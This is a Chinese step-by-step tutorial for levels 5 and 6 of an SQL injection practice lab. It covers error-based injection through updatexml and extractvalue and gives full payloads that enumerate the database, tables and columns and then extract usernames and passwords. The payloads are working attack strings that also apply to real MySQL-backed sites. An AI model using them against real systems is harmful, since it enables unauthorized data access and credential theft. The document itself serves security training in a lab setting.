sql靶场5-6关(报错注入)保姆级教程

news2025/3/16 3:08:37

目录

 

sql靶场5-6关(报错注入)保姆级教程

1.第五关

1.步骤一(闭合)

2.步骤二(列数)

3.报错注入深解

4.报错注入格式

5.步骤三(数据库表名)

6.常用函数

7.步骤四(表名)

8.步骤五(字段)

9.步骤六(账号密码)

2.第六关

 

 


 

sql靶场5-6关(报错注入)保姆级教程

1.第五关

1.步骤一(闭合)

查询闭合方式

?id=1 and 1=2

 

?id=1'

 

?id=1'--+

 

 

 

2.步骤二(列数)

查询列数

?id=1' order by 5--+

 

?id=1' order by 3--+

 

?id=1' order by 4--+

 

看有没有回显

 

如果没有直接回显字段就看看是否有报错,利用列数不同查看是否报错显示

 

 

 

3.报错注入深解

有则利用报错显示进行注入,让报错里面携带所需的查询信息

可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造‌非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 ‌结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 ‌条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比‌

 

4.报错注入格式

一般是通过updatexml与 extractvalue进行构造‌非法XPath表达式

?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+ 

 

5.步骤三(数据库表名)

注入数据库表名

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

 

6.常用函数

使用的函数

concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并‌

group_concat:某一列的数据聚合,适用于单列多行数据的合并‌

两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合

GROUP_CONCAT(CONCAT(col1, col2))

 

区别:

concat适用于需要精准提取特定行数据的场景(如管理员账号)‌。需多次请求,效率较低‌

group_concat单次请求获取数据,但需手动拼接分片结果‌。适用于快速批量泄露(如全表用户密码)

 

问题:

在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制‌

 

区别:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致‌,但是一般使用 mid(),功能相同但兼容性更佳‌,可无缝替代 substr避免潜在语法冲突‌。

 

使用的语法:

limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录‌

substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

 

特性concat + limitgroup_concat + substr/mid
数据范围单行数据多行聚合数据
输出格式单条记录(如 user~pass多条记录合并(如 user1~pass1,user2~pass2
注入效率需多次请求遍历数据单次请求获取多行数据
长度限制处理直接适配单行输出长度需通过 substr 分段截取避免超长截断‌

 

7.步骤四(表名)

获取表名:

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

 

报错原因:查询表名,但是表名有多个(多行),这里无法全部展示出来,需要使用limit,一行一行查询

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

 

另外一种方法,使用group_concat与mid,因为这里注入出来的表名没有超过32个字符,所以可以不使用mid进行截取

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+

 

这里我突然想到在使用updatexml构造无效的XPath表达式中如果不使用concat能不能进行报错注入

?id=1' and updatexml(1,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30),1)--+

 

结果发现可以进行注入,但是会缺少第一行的数据

原因是不使用concat,没有分隔符:updatexml在解析字符串时,可能将第一个字符视为XPath语法的一部分而丢失。XPath解析问题:未正确构造无效的XPath表达式,导致首字符被处理掉。

 

8.步骤五(字段)

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+

 

 

9.步骤六(账号密码)

获取账号密码:

?id=1' and  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+

?id=1' and  updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+

?id=1' and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

 

在这里我再次尝试了在使用updatexml构造无效的XPath表达式中不使用concat

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,32) from users),1) --+

 

依然是缺少了第一行的数据

这里我突然想到既然缺少了第一行的数据,那么查询的字符数其实真正是不够的,如果改变取值,后面的会不会出来呢,于是我改到了40

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,40) from users),1) --+

 

结果发现了因为缺少了第一行的数据,那么查询的字符数其实真正是不够的,改变取值,其实后面的是会出来的

于是我继续往后面加,加到了45,发现只出来了一个,因为应该是实际只能够截取32位字符,与是我开始减值,到41是最大的值了

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,41) from users),1) --+

 

这里我又在想,如果直接截取最后几个字符,但是又不足32个字符,会不会将前面缺失的第一行报出来,结果测试发现账号密码的数据有点多,我就去表名,突然在注入表名的过程中其实已经知道了,只是没发现,结果是不会的。

 

2.第六关

进行闭合测试

id=1 1=2

 

id=1'

 

id=1"

 

id=1"--+

 

确认闭合方式就是双引号

剩下的内容和第五关一样,只是闭合方式不一样

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2315762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

矩阵分析-浅要理解(深度学习方向)

梯度分析与最优化 在深度学习的任务中,我们所期望的是训练一个神经网络,使得预测结果与真实标签之间的误差最小化,这可以近似看作是一个提供梯度下降等优化找到全局最优解的凸优化问题。 奇异值分解 在信息工程领域,对数据处理的…

校园安全用电怎么保障?防触电装置来帮您

引言 随着教育设施的不断升级和校园用电需求的日益增长,校园电力系统的安全性和可靠性成为了学校管理的重要课题。三相智能安全配电装置作为一种电力管理设备,其在校园中的应用不仅能够提高电力系统的安全性,还能有效保障师生的用电安全&am…

第十五届蓝桥杯大学B组(握手问题、小球反弹、好数)

一、握手问题 思路1&#xff1a; 1)先让所有人相互握手 第一个人49次 第二个人48次 第五十个人0次 共计01249 2)减去7个没握手的 016 #include<stdio.h> int main() {int a 50*49/2 - 7*6/2;printf("%d\n",a);return 0; } 运行结果&#xf…

【教学类-43-26】20240312 数独4宫格的所有可能(图片版 576套样式,空1格-空8格,每套65534张*576小图=3千万张小图)

背景需求&#xff1a; 之前做了三宫格所有可能图片 510小图*12套6120图&#xff0c;所以3分钟就生成了 【教学类-43-25】20240311 数独3宫格的所有可能&#xff08;图片版 12套样式&#xff0c;空1格-空8格&#xff0c;每套510张&#xff0c;共6120小图&#xff09;-CSDN博客…

如何手动使用下载并且运行 QwQ-32B-GGUF

首先使用安装 pip install ModelScope 使用 ModelScope 下载对应的模型 modelScope download --model Qwen/QwQ-32B-GGUF qwq-32b-q4_k_m.gguf 第二步开始下载 ollama git clone https://githubfast.com/ggerganov/llama.cpp # githubfast.com 可以加速下载 切换到目录&am…

Spring Boot对接twilio发送邮件信息

要在Spring Boot应用程序中对接Twilio发送邮件信息&#xff0c;您可以使用Twilio的SendGrid API。以下是一个简单的步骤指南&#xff0c;帮助您完成这一过程&#xff1a; 1. 创建Twilio账户并获取API密钥 注册一个Twilio账户&#xff08;如果您还没有的话&#xff09;。在Twi…

约束优化技术:KKT条件的完整推导与应用

前言 本文隶属于专栏《机器学习数学通关指南》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见《机器学习数学通关指南》 ima 知识库 知识库广场搜索&#…

对比文章相似度的余弦相似度算法的原理

近期不是项目遇到对比代码的相似度&#xff0c;来判断代码是否存在抄袭嘛。通过研究采用了余弦相似度来对比。既然接触的一个新的东西&#xff0c;怎么也得研究下吧。 一、什么是余弦相似度 利用余弦相似度对比文章相似度的原理&#xff0c;主要基于向量空间模型&#xff0c;通…

DeepSeek结合Mermaid绘图(流程图、时序图、类图、状态图、甘特图、饼图)转载

思维速览&#xff1a; 本文将详细介绍如何利用DeepSeek结合Mermaid语法绘制各类专业图表&#xff0c;帮助你提高工作效率和文档质量。 ▍DeepSeek入门使用请看&#xff1a;deepseek保姆级入门教程&#xff08;网页端使用 本地客户端部署 使用技巧&#xff09; DeepSeek官网…

玩转云服务器——阿里云操作系统控制台体验测评

在云服务器日益普及的背景下&#xff0c;运维人员对操作系统管理工具的要求不断提高。我们需要一款既能直观展示系统状态&#xff0c;又能智能诊断问题&#xff0c;提供专业指导的控制台。阿里云操作系统管理平台正是基于API、SDK、CLI等多种管理方式&#xff0c;致力于提升操作…

Linux 安装 Oh My Zsh

1. 简介 Zsh&#xff08;Z Shell&#xff09;是一款功能强大的 Shell&#xff0c;相比 Bash 提供了更强的 自动补全、命令高亮、插件支持 等功能。而 Oh My Zsh 是一个 Zsh 的增强管理工具&#xff0c;让你可以轻松安装插件和主题&#xff0c;极大提高开发效率。 本教程将详细…

方差,协方差及协方差矩阵的计算

1.方差 方差是用来衡量一组数据的离散程度&#xff0c;数序表达式如下: σ 2 1 N ∑ i 1 N ( x i − μ ) 2 \sigma^2\frac1N\sum_{i1}^N(x_i-\mu)^2 σ2N1​i1∑N​(xi​−μ)2 σ 2 σ^2 σ2表示样本的总体方差&#xff0c; N N N 表示样本总数&#xff0c; x i x _i xi​…

DeepSeek-R1思路训练多模态大模型-Vision-R1开源及实现方法思路

刚开始琢磨使用DeepSeek-R1风格训练多模态R1模型&#xff0c;就看到这个工作&#xff0c;本文一起看看&#xff0c;供参考。 先提出问题&#xff0c;仅靠 RL 是否足以激励 MLLM 的推理能力&#xff1f; 结论&#xff1a;不能&#xff0c;因为如果 RL 能有效激励推理能力&#…

Unity 创建签名证书、获取签名证书信息,证书指纹

目录 一&#xff1a;创建签名证书 二&#xff1a;自动填写密码 ​编辑 三&#xff1a;获取签名证书的信息 后言 &#x1f451;&#x1f451;&#x1f451; 一&#xff1a;创建签名证书 首先确保Unity是安卓打包&#xff0c;然后按图操作 会打开下图页面 选择你要创建到的…

在AIStudio飞桨星河社区一键部署DeepSeek-r1:70b模型

随着DeepSeek的火热&#xff0c;市面上出现大量的第三方的API服务区&#xff0c;但是对于对安全、隐私、控制有一定需求的用户&#xff0c;还是会希望能够自主部署DeepSeek 。 实践下来&#xff0c;用自己的机器部署是一条解决之道&#xff0c;但是推理起来&#xff0c;cpu和内…

机器学习算法分类及应用场景全解析

在机器学习的学习过程中&#xff0c;具备归类思想至关重要。机器学习涉及众多算法、数据类型及应用场景&#xff0c;归类能让我们清晰梳理知识体系。比如将算法按学习方式分为有监督、无监督等&#xff0c;按任务分类分为分类任务、回归任务和生成任务。通过归类&#xff0c;能…

GNU Nano编辑器中,怎样保存并退出

当出现git commit的提交内容需要修改时&#xff0c;使用git commit --amend进行解决。 但是在修改提交的内容时&#xff0c;弹出了GNU Nano的编辑器 修改完毕后&#xff0c;使用ctrlxd的组合键退出 输入Y后&#xff0c;将退出编辑器&#xff0c;操作完成

个人居家 Web移动端 局域网 远程控制电脑 工具 PC遥控器拿去玩吧

想远程电脑 换个电影&#xff0c;切个歌&#xff0c;随有无线键鼠&#xff0c;但解决不了离屏幕较远 看不清鼠标指针和键入内容。 看似简单的事情&#xff0c;但对周末躺下沙发的码农来说&#xff0c;就再也起不了身了。 远程工具 TeamViewer、向日葵、Autodesk以及开源的RustD…

cursor中使用prettier-code formatter插件方法

cursor的"扩展"中搜索"prettier-code formatter"&#xff0c;然后安装 点击cursor编辑器右上角“更多操作”&#xff0c;然后打开“配置编辑器” 按照图片进行操作&#xff0c;进入到editor在editor中&#xff0c;找“格式化“&#xff0c;把Format On Sav…

SpaceSync智能排班:重构未来办公空间的神经中枢

文心智能体平台可免费使用DeepSeek 满血版啦&#xff0c;使用DeepSeek模型创建并提交智能体&#xff0c;即有机会瓜分万元奖金&#xff01;有这等好事还不快冲&#xff01; 文心智能体官网&#xff1a;文心智能体平台AgentBuilder | 想象即现实 本片文章为作者参加文心智能体平…